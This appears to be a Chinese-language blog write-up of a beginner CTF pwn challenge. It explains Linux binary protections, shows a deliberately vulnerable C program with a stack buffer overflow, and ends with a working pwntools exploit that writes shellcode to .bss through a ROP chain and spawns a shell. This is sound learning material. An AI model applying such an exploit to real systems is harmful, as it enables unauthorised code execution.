記第一個動手跟的ctf pwn程式
我是跟著教程 https://www.bilibili.com/video/av14824239?from=search&seid=14623454945684351685 來做的
是最基礎的shellcode的題目
程式地址:http://pan.baidu.com/s/1qYFjBlU 密碼:j32w
拿到程式,我們先file static
分析一下程式:
關注點為 32位ELF,動態連結
接著我們要用checksec來檢測elf運行於哪個平臺,開啟了什麼安全措施,如果用gcc的編譯後,預設會開啟所有的安全措施。
我們輸入checksec static
來看程式開啟了哪些保護措施
這裡簡單介紹一下各欄位的含義:
Arch:
只檔案執行的平臺為:32位的i386,小端位元組序列
RELRO:
RELRO會有Partial RELRO和FULL RELRO,如果開啟FULL RELRO,意味著我們無法修改got表
Stack:
如果棧中開啟Canary found,那麼就不能用直接用溢位的方法覆蓋棧中返回地址,而且要通過改寫指標與區域性變數、leak canary、overwrite canary的方法來繞過
NX: (No-eXecute) 不可執行的意思
,NX(DEP)的基本原理是將資料所在記憶體頁標識為不可執行,當程式溢位成功轉入shellcode時,程式會嘗試在資料頁面上執行指令,此時CPU就會丟擲異常,而不是去執行惡意指令。
若為:NX enabled 這個保護就會開啟,意味著棧中資料沒有執行許可權,以前的經常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop這種方法繞過
PIE: (Postion-Indenpendent executable)
地址無關可執行檔案,對應windows上ASLR機制,一般情況下NX(Windows平臺上稱其為DEP)和地址空間分佈隨機化(ASLR)會同時工作。ASLR和DEP配合使用,能有效阻止攻擊者在堆疊上執行惡意程式碼。
若為:PIE enabled,則程式開啟了這個地址隨機化選項,就意味著程式每次執行的時候地址都會變化,而現在是沒有開PIE的,那麼No PIE (0x8048000),括號內的資料就是程式的基地址
RXW:
即我們平常對檔案的三個許可權 read execute write,這裡指有可讀可寫可執行的段。
這個程式就比較簡單了,NX和PIE都沒有開啟,我們就可以利用傳統的思路把shellcode通過read寫到棧中,導致棧溢位覆蓋返回地址,並且要實現正好shellcode被存放在返回地址的位置,這樣就會實現程式執行我們構造的惡意程式碼(
我們的static.c程式碼如下:
#include <stdio.h>
#include <unistd.h>
void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}
void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}
void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}
int main(){
init();
welcome();
vuln();
return 0;
}
讓我們先來看一下程式執行起來是什麼樣的,但是,當我們在執行的時候,發現,明明有這個檔案,卻顯示找不到檔案。
原因就在於:並不是檔案不存在,而是bash不識別該執行檔案。
file一下執行檔案發現是32位的,而我的虛擬機器則是64位的,那麼問題的癥結就出現在這裡了,Ubuntu 14.04 好像把32位支援庫取消了,需要使用者自己安裝,安裝命令如下:
sudo apt-get install lib32z1**
即可執行程式了
我們通過看static.c程式碼發現可以通過read函式將shellcode寫到棧中,導致棧溢位覆蓋返回地址。那這裡我們要將shellcode讀到哪裡去呢?由於我們已進知道在函式呼叫時棧的變化,(不清楚參考這裡)我們就知道要將其讀到程式的.bss段中(因為.bss段中存放的是程式中未初始化的全
局變數和靜態變數)
因此我們需要解決兩個問題:1。bss段的地址 2。要覆蓋的返回地址的地址
1⃣️我們的bss段地址可以在IDA中得到
2⃣️我們接著來確定這個程式它的返回地址是多少。
我們先用cyclic生成100個字元,將其複製下來:
然後在gdb中(裝有peda外掛),我們執行gdb ./static
讓其start
執行,然後輸入continue
,之後,將我們生成的字元輸進去,會發現緩衝區溢位報錯。此時,就是因為我們輸入的資料的長度大於緩衝區的長度,導致棧溢位將函式返回地址覆蓋。我們可以看到:
這邊報錯的就是無效的IP地址,也就是我們要找到的eip
我們通過cyclic -l 0x61616166
命令
可以發現當偏移為20的時候,存的就是它的返回地址了
這時我們就可以來構建我們自己的exp
from pwn import *
import time
bss_addr = 0x804A024
proc = './static'
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
p.recvuntil("Welcome to zsctf!");
rop = ROP(proc)
rop.read(0,bss_addr + 0x100,len(shellcode))
rop.call(bss_addr + 0x100)
p.send('a'*20 + str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()
其實在整個實驗中還是有盲點的,比如pwn庫的使用和shellcode的編寫。
http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的保護機制/#checksec及其包含的保護機制 (這是一篇關於linux下棧保護機制很好的文章)
參考的文章和部落格:
https://paper.seebug.org/481/ (介紹PWN的知識點特別詳細,大力推薦)
http://tacxingxing.com/2017/07/16/nx-aslr/
https://pwntools.readthedocs.io/en/stable/ (pwntools官方文件)
http://yugod.xmutsec.com/index.php/2018/05/07/37.html